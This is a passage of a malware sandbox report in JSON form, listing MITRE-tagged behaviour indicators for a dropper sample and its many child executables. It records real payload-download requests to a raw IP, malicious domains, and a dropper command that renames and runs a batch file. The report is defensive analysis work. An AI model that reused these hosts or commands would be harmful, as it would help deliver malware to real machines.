\"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.Start\" in \"New Text Document mod.exe\"\n Observed function \"Process.Start\" in \"server.exe\"\n Observed function \"Process.set_StartInfo\" in \"server.exe\"\n Observed function \"Process.get_StartInfo\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartServiceCtrlDispatcher\"; File: \"New Text Document mod.exe\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartService\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$53","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"$54","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileExW in import section (Source: BrowserInstaller.exe)\n Found MoveFileExW in import section (Source: rabert.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$55","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"\"NewTextDocumentmod.exe\" with parameter C:\\a (UID: 00000000-00002000)\n \"cooking.exe\" with parameter %TEMP%\\IXP000.TMP (UID: 00000000-00005036)\n \"TLauncher-Installer-1.9.4.exe\" with parameter %TEMP%\\_ir_sf_temp_0 (UID: 00000000-00001088)\n \"random.exe\" with parameter %TEMP%\\$inst (UID: 00000000-00000968)\n \"random.exe\" with parameter %PROGRAMFILES%\\(x86)\\Company (UID: 00000000-00000968)\n \"random.exe\" with parameter %PROGRAMFILES%\\(x86)\\Company\\NewProduct (UID: 00000000-00000968)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$56","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to modify/delete registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"server.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"DeleteValue\" in \"server.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"CreateSubKey\" in \"server.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"DeleteSubKeyTree\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1112","relevance":1,"id":"static-139","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"cmd /c move Pet.wms Pet.wms.bat && Pet.wms.bat\" (UID: 00000000-00007356)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$57","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$58","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"$59","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"file/memory contains long string with (Indicator: \"youtube\"; Source: \"00000000-00002000-00000CBD-3205987019\")","origin":"File/Memory","relevance":2,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$5a","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"$5b","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$5c","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$5d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"NewTextDocumentmod.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at 3B230000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"NewTextDocumentmod.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 6B240000\n \"NewTextDocumentmod.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 6A350000\n \"cooking.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 6A350000\n \"TLauncher-Installer-1.9.4.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75CE0000\n \"lJ5IwxN.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 6A350000\n \"irsetup.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75CE0000\n \"irsetup.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 71C10000\n \"random.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75CE0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"NewTextDocumentmod.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 40AA0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"NewTextDocumentmod.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6D200000\n \"cooking.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6D200000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6D200000\n \"TLauncher-Installer-1.9.4.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 766E0000\n \"lJ5IwxN.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6D200000\n \"irsetup.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 766E0000\n \"elf.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6D200000\n \"sys.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6D200000\n \"sup.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6D200000\n \"tmp.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6D200000\n \"crypted_guardfile.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6D200000\n \"random.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 766E0000\n \"tmpFB41.tmp\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6D200000\n \"window.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 766E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00000000002042e56afb7f0000@ntdll.dll\"\n \"22002300000000004042e56afb7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$5e","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$5f","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"New Text Document mod.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"\n \"server.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"0rXld4E.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"rabert.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"8RsL970.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"cooking.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"server.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"fzCgCtE.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"crypted_guardfile.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"ZAjTMWu.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"vulkan-1.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"HCBSXXl.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$60","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"USER32.dll\" : \"218\" [Source: BrowserInstaller.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$61","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$62","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".data\" is \"0x26c200\" greater than 0x100000\n Raw size of \".text\" is \"0x112c00\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x38cc00\" greater than 0x100000\n Raw size of \".text\" is \"0x206400\" greater than 0x100000\n Raw size of \"xfyfrflz\" is \"0x206000\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x1ec000\" greater than 0x100000\n Raw size of \"iqw2\" is \"0x1d2a00\" greater than 0x100000\n Raw size of \"UPX1\" is \"0x1b9e00\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x186000\" greater than 0x100000\n Raw size of \".text\" is \"0x17ec00\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x169000\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x108400\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".data\" is \"0x295288\" greater than 0x100000\n Virtual size of \".text\" is \"0x112bf2\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x38ca7e\" greater than 0x100000\n Virtual size of \".text\" is \"0x20639a\" greater than 0x100000\n Virtual size of \"\" is \"0x395000\" greater than 0x100000\n Virtual size of \"xfyfrflz\" is \"0x206000\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x1eb6a2\" greater than 0x100000\n Virtual size of \"iqw2\" is \"0x1d28f4\" greater than 0x100000\n Virtual size of \"UPX0\" is \"0x43d000\" greater than 0x100000\n Virtual size of \"UPX1\" is \"0x1ba000\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x185f46\" greater than 0x100000\n Virtual size of \".text\" is \"0x17eaf4\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x168606\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x108270\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"rabert.exe\" has high imagebase \"0x140000000\"\n \"lJ5IwxN.exe\" has high imagebase \"0x140000000\"\n \"8RsL970.exe\" has high imagebase \"0x140000000\"\n \"fz0oKy4.exe\" has high imagebase \"0x140000000\"\n \"cooking.exe\" has high imagebase \"0x140000000\"\n \"fzCgCtE.exe\" has high imagebase \"0x140000000\"\n \"chrome_inject.exe\" has high imagebase \"0x140000000\"\n \"crypted_guardfile.exe\" has high imagebase \"0x140000000\"\n \"vulkan-1.dll\" has high imagebase \"0x180000000\"\n \"06bK6nU.exe\" has high imagebase \"0x140000000\"\n \"HCBSXXl.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\attrib.exe\" [Source: 00000000-00005036-00000BC0-3218343769]\n Observed system executable string:\"%WINDIR%\\SYSTEM32\\attrib.exe\" [Source: 00000000-00005036-00000BC0-3218345932]\n Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\cmd.exe\" [Source: 00000000-00005036-00000BC0-3218588862]\n Observed system executable string:\"%WINDIR%\\SYSTEM32\\cmd.exe\" [Source: 00000000-00005036-00000BC0-3218590326]\n Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\conhost.exe\" [Source: 00000000-00007356-00000BC0-3218753872]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cooking.exe\" (UID: 00000000-00005036) was launched with new environment variables: \"USERDNSDOMAIN=\"v1CNUIuLQiKAJyF\"\"\n Process \"cooking.exe\" (UID: 00000000-00005036) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"\n Process \"lJ5IwxN.exe\" (UID: 00000000-00008516) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"lJ5IwxN.exe\" (UID: 00000000-00008516) was launched with missing environment variables: \"__COMPAT_LAYER, PROCESSOR_ARCHITEW6432\"\n Process \"irsetup.exe\" (UID: 00000000-00005524) was launched with new environment variables: \"__COMPAT_LAYER=\"ElevateCreateProcess\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"irsetup.exe\" (UID: 00000000-00005524) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"cwwgg-p5wdxtar.com\"\n \"dl2.tlauncher.org\"\n \"silverfox.com\"\n \"t-launcher.site\"\n \"telegram.me\"\n \"uploadsfre.com\"\n \"urlhaus.abuse.ch\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"irsetup.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$63","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$64","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Sets a windows hook","description":"\"irsetup.exe\" sets a windows hook with filter \"WH_CBT\" for thread ID 4312","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-71","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$65","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$66","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$67","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /files/814870813/8aCq1Rp.exe HTTP/1.1\nHost: 178.16.54.200\nConnection: Keep-Alive\"\n \"GET /files/6041505593/g67DNdL.exe HTTP/1.1\"\n \"GET /files/814870813/i81fwxp.exe HTTP/1.1\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Tries to move files","description":"Process \"cmd.exe\" with commandline \"cmd /c move Pet.wms Pet.wms.bat && Pet.wms.bat\" (UID: 00000000-00007356)","origin":"Monitored Target","mitre_attack_id":"T1570","relevance":3,"id":"target-302","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"MSTeams.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"GL0ygTD.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"BrowserInstaller.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"0rXld4E.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"multifunctionalbackup294.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"Setup.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"irsetup.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"random.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"server.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"ZAjTMWu.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"cooking.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\Pet.wms\"\n \"cooking.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\Conjunction.wms\"\n \"cooking.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\Actually.wms\"\n \"cooking.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\Sing.wms\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to establish persistence using Exchange transport agent (.NET)","description":"Found string \"ystem.IsAttachment\" (Source: \"00000000-00001088.00000000.271453.039B0000.00000002.mdmp\")\n Found string \"ystem.Message.AttachmentContents\" (Source: \"00000000-00001088.00000000.271453.039B0000.00000002.mdmp\")\n Found string \"ystem.Message.AttachmentNames\" (Source: \"00000000-00001088.00000000.271453.039B0000.00000002.mdmp\")\n Found string \"ystem.Message.HasAttachments\" (Source: \"00000000-00001088.00000000.271453.039B0000.00000002.mdmp\")\n Found string \"System.IsAttachment\" (Source: \"00000000-00001088.00000000.271453.03C10000.00000002.mdmp\")\n Found string \"System.Message.AttachmentContents\" (Source: \"00000000-00001088.00000000.271453.03C10000.00000002.mdmp\")\n Found string \"System.Message.AttachmentNames\" (Source: \"00000000-00001088.00000000.271453.03C10000.00000002.mdmp\")\n Found string \"System.Message.HasAttachments\" (Source: \"00000000-00001088.00000000.271453.03C10000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-938","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","description":"$68","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"Found reference to API \"RegisterServiceCtrlHandlerExA\" (Indicator: \"RegisterServiceCtrlHandler\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API 